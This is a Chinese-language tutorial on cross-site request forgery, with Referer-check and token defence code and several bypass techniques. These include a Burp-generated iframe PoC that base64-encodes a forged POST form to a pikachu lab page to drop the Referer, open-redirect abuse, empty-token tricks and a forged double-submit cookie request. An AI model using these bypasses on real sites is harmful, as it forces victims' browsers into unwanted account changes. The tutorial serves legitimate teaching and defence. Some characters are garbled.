跨站请求伪造（英语：Cross-site request forgery），也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF， 是?种挟持用?在当前已登录的Web应用程序上执行?本意的操作的攻击方法。 跟跨网站脚本（XSS）相比，XSS 利用的是用?对指定网站的信任，CSRF 利用的是网站对用?网?浏览器的信任。
透过例?能够看出，攻击者并不能通过CSRF攻击来直接获取用?的账?控制权，也不能直接窃取用?的任何信息。他们能做到的，是欺骗用?的浏览器，让其以用?的名义运行操作。
GET型 —— pikachu靶场演示
POST型 —— pikachu靶场演示
YZMCMS —— 信息增添修改演示
CSRF漏洞防御机制
利用HTTP请求的Referer头来判断是否为正常的发送请求的页面提交的请求。
防御代码示例
<?php
if (strpos($_SERVER[‘HTTP_REFERER‘], needle: ‘dark5.net‘)!==false)
{
echo "验证成功";
}
else
{
echo "验证失败";
}
?>
绕过Referer技巧
1.使用其他协议 — 来绕过请求头
iframe (在src属性中) – Internet Explorer下不?作
embed (在src属性中) – Internet Explorer及Microsoft Edge下不?作
object (在data属性中) – Internet Explorer及Microsoft Edge下不?作
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<iframe #把form表单的html代码进行base64加密（）
src="data:text/html;base64,IDxmb3JtIGFjdGlvbj0iaHR0cDovL3Rlc3QuY29tL3Bpa2FjaHUvdnVsL2NzcmYvY3NyZnBvc3QvY3Ny
Zl9wb3N0X2VkaXQucGhwIiBtZXRob2Q9IlBPU1QiPgogICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzZXgiIHZhbHVlPSJnaXJ
sIiAvPgogICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwaG9uZW51bSIgdmFsdWU9IjExMTExIiAvPgogICAgICA8aW5wdXQgdH
lwZT0iaGlkZGVuIiBuYW1lPSJhZGQiIHZhbHVlPSJjaGFpbiIgLz4KICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZW1haWwiI
HZhbHVlPSJ2aW5jZSYjNjQ7cGlrYWNodSYjNDY7Y29tIiAvPgogICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzdWJtaXQiIHZh
bHVlPSJzdWJtaXQiIC8+CiAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQgcmVxdWVzdCIgLz4KICAgIDwvZm9ybT4
=">
#原 html代码 ：（
<iframe src="data:text/html,"
<form action="http://test.com/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="girl" />
<input type="hidden" name="phonenum" value="11111" />
<input type="hidden" name="add" value="chain" />
<input type="hidden" name="email" value="vince@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form> )-结束
</body>
</html>
2.利用网站对Referer验证不严谨
3.GET型的CSRF，利用网站自带的跳转 链接，(修改为拥有csrf的链接，跳转过去，这样请求头看到是自己的网站就会放过)
原url：
http://www.yusy.com/jsonp/user?callback=....&userid=111
寻找跳转链接
http://yusy.com/user/newlogin?redirect_url= http://www.yusy.com/jsonp/user?callback=....&userid=111
开发者可以再HTTP请求中以参数形式加??个随机产?token，并在服务端建??个拦截来验证这个token。
防御代码示例
/**
* 创建TOKEN，确保已经开启SESSION
* @param bool $isinput 是否返回input
* @return string
*/
function creat_token($isinput = true){
$_SESSION[‘token‘] = create_randomstr(8);
return $isinput ? ‘<input type="hidden" name="token" value="‘.$_SESSION[‘token‘].‘">‘ :
$_SESSION[‘token‘];
}
/**
* 验证TOKEN，确保已经开启SESSION
* @param string $token
* @return bool
*/
function check_token($token){
if(!$token || !isset($_SESSION[‘token‘]) || $token!=$_SESSION[‘token‘]) return false;
unset($_SESSION[‘token‘]);
return true;
}
处理token防御机制的技巧
1.删除token参数或设置为空（或空列表）
有的应用程序只会在token存在的时候或者token参数不为空的时候检查token的有效性。
??token[]=&id=1
参考?章：https://www.netsparker.com/blog/web-security/type-juggling-authentication-bypass-cms-made-simple/
2.token值输出到了当前页面的可?位置
??参考暴力破解篇的处理方法
3.token值放在了url当中
若url中存在token，访问该url，又在该url的基础上去访问其他链接(页面内)的时候可被refer从url获取token，从而用该token做其他事
原?地址：
https://segmentfault.com/q/1010000016010024/
4.token值放在cookie中（没有放在服务端）
有时候站点使用?个双提交cookie作为?个CSRF的防御措施。这个表明这个请求需要包含?个cookie，其值为随机token值，且同时在请求参数中也有?个字段值为该随机token值。如果值相同，那么请求是合法的。这种防御形式是?常常?的。
POST /change_password
Cookie: CSRF_TOK=FAKE_TOKEN;
POST body:
new_password=qwerty &csrf_tok=FAKE_TOKEN
原文：https://www.cnblogs.com/Black-Sweater/p/14135716.html